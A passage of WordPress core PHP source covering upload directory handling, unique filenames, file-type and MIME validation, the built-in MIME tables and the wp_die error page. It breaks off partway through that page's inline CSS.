* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @param bool $create_dir Optional. Whether to check and create the uploads directory.
* Default true for backward compatibility.
* @param bool $refresh_cache Optional. Whether to refresh the cache. Default false.
* @return array See above for description.
*/
function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
static $cache = array(), $tested_paths = array();
$key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );
if ( $refresh_cache || empty( $cache[ $key ] ) ) {
$cache[ $key ] = _wp_upload_dir( $time );
}
/**
* Filters the uploads directory data.
*
* @since 2.0.0
*
* @param array $uploads Array of upload directory data with keys of 'path',
* 'url', 'subdir, 'basedir', and 'error'.
*/
$uploads = apply_filters( 'upload_dir', $cache[ $key ] );
if ( $create_dir ) {
$path = $uploads['path'];
if ( array_key_exists( $path, $tested_paths ) ) {
$uploads['error'] = $tested_paths[ $path ];
} else {
if ( ! wp_mkdir_p( $path ) ) {
if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
} else {
$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
}
$uploads['error'] = sprintf(
/* translators: %s: directory path */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
esc_html( $error_path )
);
}
$tested_paths[ $path ] = $uploads['error'];
}
}
return $uploads;
}
/**
* A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
*
* @since 4.5.0
* @access private
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array See wp_upload_dir()
*/
function _wp_upload_dir( $time = null ) {
$siteurl = get_option( 'siteurl' );
$upload_path = trim( get_option( 'upload_path' ) );
if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
$dir = WP_CONTENT_DIR . '/uploads';
} elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
// $dir is absolute, $upload_path is (maybe) relative to ABSPATH
$dir = path_join( ABSPATH, $upload_path );
} else {
$dir = $upload_path;
}
if ( !$url = get_option( 'upload_url_path' ) ) {
if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )
$url = WP_CONTENT_URL . '/uploads';
else
$url = trailingslashit( $siteurl ) . $upload_path;
}
/*
* Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
* We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
*/
if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
$dir = ABSPATH . UPLOADS;
$url = trailingslashit( $siteurl ) . UPLOADS;
}
// If multisite (and if not the main site in a post-MU network)
if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
if ( ! get_site_option( 'ms_files_rewriting' ) ) {
/*
* If ms-files rewriting is disabled (networks created post-3.5), it is fairly
* straightforward: Append sites/%d if we're not on the main site (for post-MU
* networks). (The extra directory prevents a four-digit ID from conflicting with
* a year-based directory for the main site. But if a MU-era network has disabled
* ms-files rewriting manually, they don't need the extra directory, as they never
* had wp-content/uploads for the main site.)
*/
if ( defined( 'MULTISITE' ) )
$ms_dir = '/sites/' . get_current_blog_id();
else
$ms_dir = '/' . get_current_blog_id();
$dir .= $ms_dir;
$url .= $ms_dir;
} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
/*
* Handle the old-form ms-files.php rewriting if the network still has that enabled.
* When ms-files rewriting is enabled, then we only listen to UPLOADS when:
* 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
* there, and
* 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
* the original blog ID.
*
* Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
* (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
* as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
* rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
*/
if ( defined( 'BLOGUPLOADDIR' ) )
$dir = untrailingslashit( BLOGUPLOADDIR );
else
$dir = ABSPATH . UPLOADS;
$url = trailingslashit( $siteurl ) . 'files';
}
}
$basedir = $dir;
$baseurl = $url;
$subdir = '';
if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
// Generate the yearly and monthly dirs
if ( !$time )
$time = current_time( 'mysql' );
$y = substr( $time, 0, 4 );
$m = substr( $time, 5, 2 );
$subdir = "/$y/$m";
}
$dir .= $subdir;
$url .= $subdir;
return array(
'path' => $dir,
'url' => $url,
'subdir' => $subdir,
'basedir' => $basedir,
'baseurl' => $baseurl,
'error' => false,
);
}
/**
* Get a filename that is sanitized and unique for the given directory.
*
* If the filename is not unique, then a number will be added to the filename
* before the extension, and will continue adding numbers until the filename is
* unique.
*
* The callback is passed three parameters, the first one is the directory, the
* second is the filename, and the third is the extension.
*
* @since 2.5.0
*
* @param string $dir Directory.
* @param string $filename File name.
* @param callable $unique_filename_callback Callback. Default null.
* @return string New filename, if given wasn't unique.
*/
function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
// Sanitize the file name before we begin processing.
$filename = sanitize_file_name($filename);
// Separate the filename into a name and extension.
$ext = pathinfo( $filename, PATHINFO_EXTENSION );
$name = pathinfo( $filename, PATHINFO_BASENAME );
if ( $ext ) {
$ext = '.' . $ext;
}
// Edge case: if file is named '.ext', treat as an empty name.
if ( $name === $ext ) {
$name = '';
}
/*
* Increment the file number until we have a unique file to save in $dir.
* Use callback if supplied.
*/
if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
} else {
$number = '';
// Change '.ext' to lower case.
if ( $ext && strtolower($ext) != $ext ) {
$ext2 = strtolower($ext);
$filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );
// Check for both lower and upper case extension or image sub-sizes may be overwritten.
while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {
$new_number = (int) $number + 1;
$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-$new_number$ext", $filename );
$filename2 = str_replace( array( "-$number$ext2", "$number$ext2" ), "-$new_number$ext2", $filename2 );
$number = $new_number;
}
/**
* Filters the result when generating a unique file name.
*
* @since 4.5.0
*
* @param string $filename Unique file name.
* @param string $ext File extension, eg. ".png".
* @param string $dir Directory path.
* @param callable|null $unique_filename_callback Callback function that generates the unique file name.
*/
return apply_filters( 'wp_unique_filename', $filename2, $ext, $dir, $unique_filename_callback );
}
while ( file_exists( $dir . "/$filename" ) ) {
$new_number = (int) $number + 1;
if ( '' == "$number$ext" ) {
$filename = "$filename-" . $new_number;
} else {
$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-" . $new_number . $ext, $filename );
}
$number = $new_number;
}
}
/** This filter is documented in wp-includes/functions.php */
return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback );
}
/**
* Create a file in the upload folder with given content.
*
* If there is an error, then the key 'error' will exist with the error message.
* If success, then the key 'file' will have the unique file path, the 'url' key
* will have the link to the new file. and the 'error' key will be set to false.
*
* This function will not move an uploaded file to the upload folder. It will
* create a new file with the content in $bits parameter. If you move the upload
* file, read the content of the uploaded file, and then you can give the
* filename and content to this function, which will add it to the upload
* folder.
*
* The permissions will be set on the new file automatically by this function.
*
* @since 2.0.0
*
* @param string $name Filename.
* @param null|string $deprecated Never used. Set to null.
* @param mixed $bits File content
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array
*/
function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
if ( !empty( $deprecated ) )
_deprecated_argument( __FUNCTION__, '2.0.0' );
if ( empty( $name ) )
return array( 'error' => __( 'Empty filename' ) );
$wp_filetype = wp_check_filetype( $name );
if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )
return array( 'error' => __( 'Sorry, this file type is not permitted for security reasons.' ) );
$upload = wp_upload_dir( $time );
if ( $upload['error'] !== false )
return $upload;
/**
* Filters whether to treat the upload bits as an error.
*
* Passing a non-array to the filter will effectively short-circuit preparing
* the upload bits, returning that value instead.
*
* @since 3.0.0
*
* @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return.
*/
$upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );
if ( !is_array( $upload_bits_error ) ) {
$upload[ 'error' ] = $upload_bits_error;
return $upload;
}
$filename = wp_unique_filename( $upload['path'], $name );
$new_file = $upload['path'] . "/$filename";
if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
if ( 0 === strpos( $upload['basedir'], ABSPATH ) )
$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
else
$error_path = basename( $upload['basedir'] ) . $upload['subdir'];
$message = sprintf(
/* translators: %s: directory path */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
$error_path
);
return array( 'error' => $message );
}
$ifp = @ fopen( $new_file, 'wb' );
if ( ! $ifp )
return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
@fwrite( $ifp, $bits );
fclose( $ifp );
clearstatcache();
// Set correct file permissions
$stat = @ stat( dirname( $new_file ) );
$perms = $stat['mode'] & 0007777;
$perms = $perms & 0000666;
@ chmod( $new_file, $perms );
clearstatcache();
// Compute the URL
$url = $upload['url'] . "/$filename";
/** This filter is documented in wp-admin/includes/file.php */
return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false ), 'sideload' );
}
/**
* Retrieve the file type based on the extension name.
*
* @since 2.5.0
*
* @param string $ext The extension to search.
* @return string|void The file type, example: audio, video, document, spreadsheet, etc.
*/
function wp_ext2type( $ext ) {
$ext = strtolower( $ext );
$ext2type = wp_get_ext_types();
foreach ( $ext2type as $type => $exts )
if ( in_array( $ext, $exts ) )
return $type;
}
/**
* Retrieve the file type from the file name.
*
* You can optionally define the mime array, if needed.
*
* @since 2.0.4
*
* @param string $filename File name or path.
* @param array $mimes Optional. Key is the file extension with value as the mime type.
* @return array Values with extension first and mime type.
*/
function wp_check_filetype( $filename, $mimes = null ) {
if ( empty($mimes) )
$mimes = get_allowed_mime_types();
$type = false;
$ext = false;
foreach ( $mimes as $ext_preg => $mime_match ) {
$ext_preg = '!\.(' . $ext_preg . ')$!i';
if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
$type = $mime_match;
$ext = $ext_matches[1];
break;
}
}
return compact( 'ext', 'type' );
}
/**
* Attempt to determine the real file type of a file.
*
* If unable to, the file name extension will be used to determine type.
*
* If it's determined that the extension does not match the file's real type,
* then the "proper_filename" value will be set with a proper filename and extension.
*
* Currently this function only supports renaming images validated via wp_get_image_mime().
*
* @since 3.0.0
*
* @param string $file Full path to the file.
* @param string $filename The name of the file (may differ from $file due to $file being
* in a tmp directory).
* @param array $mimes Optional. Key is the file extension with value as the mime type.
* @return array Values for the extension, MIME, and either a corrected filename or false
* if original $filename is valid.
*/
function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
$proper_filename = false;
// Do basic extension validation and MIME mapping
$wp_filetype = wp_check_filetype( $filename, $mimes );
$ext = $wp_filetype['ext'];
$type = $wp_filetype['type'];
// We can't do any further validation without a file to work with
if ( ! file_exists( $file ) ) {
return compact( 'ext', 'type', 'proper_filename' );
}
$real_mime = false;
// Validate image types.
if ( $type && 0 === strpos( $type, 'image/' ) ) {
// Attempt to figure out what type of image it actually is
$real_mime = wp_get_image_mime( $file );
if ( $real_mime && $real_mime != $type ) {
/**
* Filters the list mapping image mime types to their respective extensions.
*
* @since 3.0.0
*
* @param array $mime_to_ext Array of image mime types and their matching extensions.
*/
$mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
'image/bmp' => 'bmp',
'image/tiff' => 'tif',
) );
// Replace whatever is after the last period in the filename with the correct extension
if ( ! empty( $mime_to_ext[ $real_mime ] ) ) {
$filename_parts = explode( '.', $filename );
array_pop( $filename_parts );
$filename_parts[] = $mime_to_ext[ $real_mime ];
$new_filename = implode( '.', $filename_parts );
if ( $new_filename != $filename ) {
$proper_filename = $new_filename; // Mark that it changed
}
// Redefine the extension / MIME
$wp_filetype = wp_check_filetype( $new_filename, $mimes );
$ext = $wp_filetype['ext'];
$type = $wp_filetype['type'];
} else {
// Reset $real_mime and try validating again.
$real_mime = false;
}
}
}
// Validate files that didn't get validated during previous checks.
if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) {
$finfo = finfo_open( FILEINFO_MIME_TYPE );
$real_mime = finfo_file( $finfo, $file );
finfo_close( $finfo );
// fileinfo often misidentifies obscure files as one of these types
$nonspecific_types = array(
'application/octet-stream',
'application/encrypted',
'application/CDFV2-encrypted',
'application/zip',
);
/*
* If $real_mime doesn't match the content type we're expecting from the file's extension,
* we need to do some additional vetting. Media types and those listed in $nonspecific_types are
* allowed some leeway, but anything else must exactly match the real content type.
*/
if ( in_array( $real_mime, $nonspecific_types, true ) ) {
// File is a non-specific binary type. That's ok if it's a type that generally tends to be binary.
if ( !in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ) ) ) {
$type = $ext = false;
}
} elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) {
/*
* For these types, only the major type must match the real value.
* This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip,
* and some media files are commonly named with the wrong extension (.mov instead of .mp4)
*/
if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) {
$type = $ext = false;
}
} else {
if ( $type !== $real_mime ) {
/*
* Everything else including image/* and application/*:
* If the real content type doesn't match the file extension, assume it's dangerous.
*/
$type = $ext = false;
}
}
}
// The mime type must be allowed
if ( $type ) {
$allowed = get_allowed_mime_types();
if ( ! in_array( $type, $allowed ) ) {
$type = $ext = false;
}
}
/**
* Filters the "real" file type of the given file.
*
* @since 3.0.0
*
* @param array $wp_check_filetype_and_ext File data array containing 'ext', 'type', and
* 'proper_filename' keys.
* @param string $file Full path to the file.
* @param string $filename The name of the file (may differ from $file due to
* $file being in a tmp directory).
* @param array $mimes Key is the file extension with value as the mime type.
*/
return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );
}
/**
* Returns the real mime type of an image file.
*
* This depends on exif_imagetype() or getimagesize() to determine real mime types.
*
* @since 4.7.1
*
* @param string $file Full path to the file.
* @return string|false The actual mime type or false if the type cannot be determined.
*/
function wp_get_image_mime( $file ) {
/*
* Use exif_imagetype() to check the mimetype if available or fall back to
* getimagesize() if exif isn't avaialbe. If either function throws an Exception
* we assume the file could not be validated.
*/
try {
if ( is_callable( 'exif_imagetype' ) ) {
$imagetype = exif_imagetype( $file );
$mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false;
} elseif ( function_exists( 'getimagesize' ) ) {
$imagesize = getimagesize( $file );
$mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false;
} else {
$mime = false;
}
} catch ( Exception $e ) {
$mime = false;
}
return $mime;
}
/**
* Retrieve list of mime types and file extensions.
*
* @since 3.5.0
* @since 4.2.0 Support was added for GIMP (xcf) files.
*
* @return array Array of mime types keyed by the file extension regex corresponding to those types.
*/
function wp_get_mime_types() {
/**
* Filters the list of mime types and file extensions.
*
* This filter should be used to add, not remove, mime types. To remove
* mime types, use the {@see 'upload_mimes'} filter.
*
* @since 3.5.0
*
* @param array $wp_get_mime_types Mime types keyed by the file extension regex
* corresponding to those types.
*/
return apply_filters( 'mime_types', array(
// Image formats.
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tiff|tif' => 'image/tiff',
'ico' => 'image/x-icon',
// Video formats.
'asf|asx' => 'video/x-ms-asf',
'wmv' => 'video/x-ms-wmv',
'wmx' => 'video/x-ms-wmx',
'wm' => 'video/x-ms-wm',
'avi' => 'video/avi',
'divx' => 'video/divx',
'flv' => 'video/x-flv',
'mov|qt' => 'video/quicktime',
'mpeg|mpg|mpe' => 'video/mpeg',
'mp4|m4v' => 'video/mp4',
'ogv' => 'video/ogg',
'webm' => 'video/webm',
'mkv' => 'video/x-matroska',
'3gp|3gpp' => 'video/3gpp', // Can also be audio
'3g2|3gp2' => 'video/3gpp2', // Can also be audio
// Text formats.
'txt|asc|c|cc|h|srt' => 'text/plain',
'csv' => 'text/csv',
'tsv' => 'text/tab-separated-values',
'ics' => 'text/calendar',
'rtx' => 'text/richtext',
'css' => 'text/css',
'htm|html' => 'text/html',
'vtt' => 'text/vtt',
'dfxp' => 'application/ttaf+xml',
// Audio formats.
'mp3|m4a|m4b' => 'audio/mpeg',
'aac' => 'audio/aac',
'ra|ram' => 'audio/x-realaudio',
'wav' => 'audio/wav',
'ogg|oga' => 'audio/ogg',
'flac' => 'audio/flac',
'mid|midi' => 'audio/midi',
'wma' => 'audio/x-ms-wma',
'wax' => 'audio/x-ms-wax',
'mka' => 'audio/x-matroska',
// Misc application formats.
'rtf' => 'application/rtf',
'js' => 'application/javascript',
'pdf' => 'application/pdf',
'swf' => 'application/x-shockwave-flash',
'class' => 'application/java',
'tar' => 'application/x-tar',
'zip' => 'application/zip',
'gz|gzip' => 'application/x-gzip',
'rar' => 'application/rar',
'7z' => 'application/x-7z-compressed',
'exe' => 'application/x-msdownload',
'psd' => 'application/octet-stream',
'xcf' => 'application/octet-stream',
// MS Office formats.
'doc' => 'application/msword',
'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
'wri' => 'application/vnd.ms-write',
'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
'mdb' => 'application/vnd.ms-access',
'mpp' => 'application/vnd.ms-project',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
'oxps' => 'application/oxps',
'xps' => 'application/vnd.ms-xpsdocument',
// OpenOffice formats.
'odt' => 'application/vnd.oasis.opendocument.text',
'odp' => 'application/vnd.oasis.opendocument.presentation',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
'odg' => 'application/vnd.oasis.opendocument.graphics',
'odc' => 'application/vnd.oasis.opendocument.chart',
'odb' => 'application/vnd.oasis.opendocument.database',
'odf' => 'application/vnd.oasis.opendocument.formula',
// WordPerfect formats.
'wp|wpd' => 'application/wordperfect',
// iWork formats.
'key' => 'application/vnd.apple.keynote',
'numbers' => 'application/vnd.apple.numbers',
'pages' => 'application/vnd.apple.pages',
) );
}
/**
* Retrieves the list of common file extensions and their types.
*
* @since 4.6.0
*
* @return array Array of file extensions types keyed by the type of file.
*/
function wp_get_ext_types() {
/**
* Filters file type based on the extension name.
*
* @since 2.5.0
*
* @see wp_ext2type()
*
* @param array $ext2type Multi-dimensional array with extensions for a default set
* of file types.
*/
return apply_filters( 'ext2type', array(
'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico' ),
'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),
'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ),
'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),
'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
'text' => array( 'asc', 'csv', 'tsv', 'txt' ),
'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),
'code' => array( 'css', 'htm', 'html', 'php', 'js' ),
) );
}
/**
* Retrieve list of allowed mime types and file extensions.
*
* @since 2.8.6
*
* @param int|WP_User $user Optional. User to check. Defaults to current user.
* @return array Array of mime types keyed by the file extension regex corresponding
* to those types.
*/
function get_allowed_mime_types( $user = null ) {
$t = wp_get_mime_types();
unset( $t['swf'], $t['exe'] );
if ( function_exists( 'current_user_can' ) )
$unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
if ( empty( $unfiltered ) ) {
unset( $t['htm|html'], $t['js'] );
}
/**
* Filters list of allowed mime types and file extensions.
*
* @since 2.0.0
*
* @param array $t Mime types keyed by the file extension regex corresponding to
* those types. 'swf' and 'exe' removed from full list. 'htm|html' also
* removed depending on '$user' capabilities.
* @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
*/
return apply_filters( 'upload_mimes', $t, $user );
}
/**
* Display "Are You Sure" message to confirm the action being taken.
*
* If the action has the nonce explain message, then it will be displayed
* along with the "Are you sure?" message.
*
* @since 2.0.4
*
* @param string $action The nonce action.
*/
function wp_nonce_ays( $action ) {
if ( 'log-out' == $action ) {
$html = sprintf(
/* translators: %s: site name */
__( 'You are attempting to log out of %s' ),
get_bloginfo( 'name' )
);
$html .= '</p><p>';
$redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
$html .= sprintf(
/* translators: %s: logout URL */
__( 'Do you really want to <a href="%s">log out</a>?' ),
wp_logout_url( $redirect_to )
);
} else {
$html = __( 'The link you followed has expired.' );
if ( wp_get_referer() ) {
$html .= '</p><p>';
$html .= sprintf( '<a href="%s">%s</a>',
esc_url( remove_query_arg( 'updated', wp_get_referer() ) ),
__( 'Please try again.' )
);
}
}
wp_die( $html, __( 'Something went wrong.' ), 403 );
}
/**
* Kill WordPress execution and display HTML message with error message.
*
* This function complements the `die()` PHP function. The difference is that
* HTML will be displayed to the user. It is recommended to use this function
* only when the execution should not continue any further. It is not recommended
* to call this function very often, and try to handle as many errors as possible
* silently or more gracefully.
*
* As a shorthand, the desired HTTP response code may be passed as an integer to
* the `$title` parameter (the default title would apply) or the `$args` parameter.
*
* @since 2.0.4
* @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
* an integer to be used as the response code.
*
* @param string|WP_Error $message Optional. Error message. If this is a WP_Error object,
* and not an Ajax or XML-RPC request, the error's messages are used.
* Default empty.
* @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object,
* error data with the key 'title' may be used to specify the title.
* If `$title` is an integer, then it is treated as the response
* code. Default empty.
* @param string|array|int $args {
* Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
* as the response code. Default empty array.
*
* @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
* @type bool $back_link Whether to include a link to go back. Default false.
* @type string $text_direction The text direction. This is only useful internally, when WordPress
* is still loading and the site's locale is not set up yet. Accepts 'rtl'.
* Default is the value of is_rtl().
* }
*/
function wp_die( $message = '', $title = '', $args = array() ) {
if ( is_int( $args ) ) {
$args = array( 'response' => $args );
} elseif ( is_int( $title ) ) {
$args = array( 'response' => $title );
$title = '';
}
if ( wp_doing_ajax() ) {
/**
* Filters the callback for killing WordPress execution for Ajax requests.
*
* @since 3.4.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
} elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
/**
* Filters the callback for killing WordPress execution for XML-RPC requests.
*
* @since 3.4.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
} else {
/**
* Filters the callback for killing WordPress execution for all non-Ajax, non-XML-RPC requests.
*
* @since 3.0.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
}
call_user_func( $function, $message, $title, $args );
}
/**
* Kills WordPress execution and display HTML message with error message.
*
* This is the default handler for wp_die if you want a custom one for your
* site then you can overload using the {@see 'wp_die_handler'} filter in wp_die().
*
* @since 3.0.0
* @access private
*
* @param string|WP_Error $message Error message or WP_Error object.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _default_wp_die_handler( $message, $title = '', $args = array() ) {
$defaults = array( 'response' => 500 );
$r = wp_parse_args($args, $defaults);
$have_gettext = function_exists('__');
if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
if ( empty( $title ) ) {
$error_data = $message->get_error_data();
if ( is_array( $error_data ) && isset( $error_data['title'] ) )
$title = $error_data['title'];
}
$errors = $message->get_error_messages();
switch ( count( $errors ) ) {
case 0 :
$message = '';
break;
case 1 :
$message = "<p>{$errors[0]}</p>";
break;
default :
$message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
break;
}
} elseif ( is_string( $message ) ) {
$message = "<p>$message</p>";
}
if ( isset( $r['back_link'] ) && $r['back_link'] ) {
$back_text = $have_gettext? __('« Back') : '« Back';
$message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
}
if ( ! did_action( 'admin_head' ) ) :
if ( !headers_sent() ) {
status_header( $r['response'] );
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
}
if ( empty($title) )
$title = $have_gettext ? __('WordPress › Error') : 'WordPress › Error';
$text_direction = 'ltr';
if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )
$text_direction = 'rtl';
elseif ( function_exists( 'is_rtl' ) && is_rtl() )
$text_direction = 'rtl';
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width">
<?php
if ( function_exists( 'wp_no_robots' ) ) {
wp_no_robots();
}
?>
<title><?php echo $title ?></title>
<style type="text/css">
html {
background: #f1f1f1;
}
body {
background: #fff;
color: #444;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
margin: 2em auto;
padding: 1em 2em;
max-width: 700px;
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
box-shadow: 0 1px 3px rgba(0,0,0,0.13);
}
h1 {
border-bottom: 1px solid #dadada;
clear: both;
color: #666;
font-size: 24px;
margin: 30px 0 0 0;
padding: 0;
padding-bottom: 7px;
}
#error-page {
margin-top: 50px;
}
#error-page p {
font-size: 14px;
line-height: 1.5;
margin: 25px 0 20px;
}
#error-page code {
font-family: Consolas, Monaco, monospace;
}
ul li {
margin-bottom: 10px;
font-size: 14px ;
}
a {
color: #0073aa;
}
a:hover,
a:active {
color: #00a0d2;
}
a:focus {
color: #124964;
-webkit-box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, .8);
box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, .8);
outline: none;
}
.button {
background: #f7f7f7;
border: 1px solid #ccc;
color: #555;
display: inline-block;
text-decoration: none;
font-size: 13px;
line-height: 26px;
height: 28px;
margin: 0;
padding: 0 10px 1px;
cursor: pointer;
-webkit-border-radius: 3px;
-webkit-appearance: none;
border-radius: 3px;
white-space: nowrap;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-box-shadow: 0 1px 0 #ccc;
box-shadow: 0 1px 0 #ccc;
vertical-align: top;
}
.button.button-large {
height: 30px;
line-height: 28px;
padding: 0 12px 2px;
}
.button:hover,
.button:focus {
background: #fafafa;
border-color: #999;
color: #23282d;
}
.button:focus {
border-color: #5b9dd9;
-webkit-box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
outline: none;
}
.button:active {
background: #eee;
border-color: #999;
-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
